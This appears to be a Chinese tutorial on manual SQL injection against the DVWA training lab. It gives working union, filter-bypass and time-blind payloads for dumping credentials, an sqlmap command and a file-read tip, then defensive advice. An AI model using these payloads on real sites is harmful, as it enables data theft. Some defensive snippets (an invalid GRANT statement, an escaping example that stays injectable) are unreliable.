☰
DVWA手工SQL注入实战与防御技巧
2026/11/3 5:25:17 网站建设 项目流程

1. DVWA手动SQL注入实验概述

DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用程序,内含多种常见Web漏洞。其中SQL注入模块是最经典的攻防实验场景之一。我将在本地Kali Linux虚拟机(192.168.1.10)上演示完整的手工注入流程,环境配置为:

  • DVWA 1.10
  • PHP 5.4.45
  • MySQL 5.5.47
  • 安全级别设置为"Low"

注意:实验前请确保关闭浏览器XSS过滤器,否则可能影响注入结果展示

2. 基础环境准备

2.1 DVWA靶场部署

下载最新DVWA镜像后,需修改config/config.inc.php配置:

$_DVWA['db_server'] = '127.0.0.1'; $_DVWA['db_database'] = 'dvwa'; $_DVWA['db_user'] = 'root'; $_DVWA['db_password'] = 'p@ssw0rd';

关键服务启动命令:

service apache2 start service mysql start chmod -R 755 /var/www/html/dvwa/

2.2 必要工具配置

建议使用以下工具组合:

  1. Burp Suite Community:拦截修改HTTP请求
  2. HackBar插件:快速构造注入语句
  3. SQLMap:自动化验证注入点
  4. Firefox开发者工具:实时查看网络请求

3. 手工注入全流程解析

3.1 注入点探测

在DVWA SQL Injection页面提交单引号触发错误:

You have an error in your SQL syntax... near ''1''' at line 1

确认存在字符型注入漏洞后,使用经典探测语句:

1' and '1'='1 # 返回正常 1' and '1'='2 # 返回空

3.2 联合查询注入

通过order by确定字段数(实测为2列)后,构造union注入:

1' union select 1,2-- -

页面显示"2"的位置可替换为查询语句。

3.3 数据库信息提取

关键信息获取语句示例:

# 获取当前数据库 1' union select 1,database()-- - # 获取所有表名 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - # 获取users表结构 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- -

3.4 数据提取技巧

使用concat_ws函数格式化输出:

1' union select 1,concat_ws(':',user,password) from users-- -

对于MySQL 5.7+需注意:

  • group_concat默认长度限制1024
  • 可执行set global group_concat_max_len=1000000;

4. 防御绕过实战

4.1 过滤绕过技术

当安全级别调至Medium时,会过滤union、select等关键词。可采用:

  • 大小写混合:UnIoN SeLeCt
  • 内联注释:/!UNION/ /!SELECT/
  • URL编码:%75%6e%69%6f%6e

4.2 时间盲注示例

当页面无回显时使用sleep函数:

1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)-- -

通过响应时间差异判断条件真假。

5. 安全加固建议

5.1 开发防护措施

PHP防范代码示例:

$id = mysqli_real_escape_string($conn, $_GET['id']); $sql = "SELECT * FROM users WHERE id = $id";

更推荐使用预处理语句:

$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->bind_param("i", $id);

5.2 运维层面防护

MySQL安全配置建议:

-- 移除多余权限 REVOKE ALL PRIVILEGES ON *.* FROM 'dvwa'@'%'; GRANT SELECT ONLY ON dvwa.* TO 'dvwa'@'localhost'; -- 启用日志审计 set global general_log = on; set global log_output = 'table';

6. 深度问题排查

6.1 常见错误处理

  • 乱码问题:确保数据库、PHP文件均为UTF-8编码
  • 无回显:尝试--+替代--(注意空格)
  • 权限不足:检查MySQL用户是否有information_schema查询权限

6.2 性能优化技巧

大数据表查询时建议:

  • 添加limit限制:limit 0,10
  • 分片查询:通过substr函数逐字符获取
  • 使用hex编码避免特殊字符截断

我在实际测试中发现,当使用load_file()读取系统文件时,MySQL的secure_file_priv设置会导致失败。解决方法是在my.cnf中添加:

[mysqld] secure_file_priv = ''

7. 自动化工具验证

手工注入确认漏洞后,可用SQLMap验证:

sqlmap -u "http://192.168.1.10/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --batch --dbs

关键参数说明:

  • --tamper=space2comment绕过空格过滤
  • --level=3提高测试等级
  • --risk=3启用危险检测

8. 企业级防护方案

对于生产环境建议部署:

  1. WAF设备:ModSecurity规则示例:
SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"
  1. RASP防护:基于行为的注入检测
  2. 数据库防火墙:拦截异常查询模式

在阿里云环境中实测发现,单纯的预处理语句无法防御所有ORM框架的注入问题,需要结合以下措施:

  • 定期SQL审计
  • 最小权限原则
  • 查询白名单机制

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询